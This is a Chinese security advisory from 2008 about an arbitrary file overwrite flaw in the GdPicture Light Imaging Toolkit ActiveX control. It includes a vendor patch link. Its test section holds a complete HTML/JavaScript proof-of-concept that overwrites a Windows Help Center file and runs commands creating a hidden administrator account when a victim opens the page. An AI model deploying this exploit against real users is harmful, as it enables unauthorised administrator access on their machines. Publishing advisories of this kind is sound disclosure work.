安全研究

安全漏洞
GdPicture Light Imaging Toolkit ActiveX控件任意文件覆盖漏洞

发布日期:2008-09-30
更新日期:2008-10-06

受影响系统:
GdPicture GdPicture Light Imaging Toolkit 4.7.1
描述:
BUGTRAQ  ID: 31504

GdPicture Light Imaging Toolkit是用于创建、编辑和打印位图图形的工具包。

GdPicture Light Imaging Toolkit所安装的GdPicture4S.Imaging ActiveX控件(gdpicture4s.ocx)没有安全地调用SaveAsPDF()方式,如果用户受骗访问了恶意网页并向该方式传送了恶意的sTitle参数的话,就可能覆盖系统上的任意文件。

<*来源:EgiX (n0b0d13s@gmail.com
  
  链接:http://secunia.com/advisories/31898/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

    var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

    var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

    var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
          "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
          "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
          "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
          "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

    var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
         "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

    test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
    test.CreateImageFromString(BMP);

    if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>

建议:
厂商补丁:

GdPicture
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.gdpicture.com/softwares.php

浏览次数:2605
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障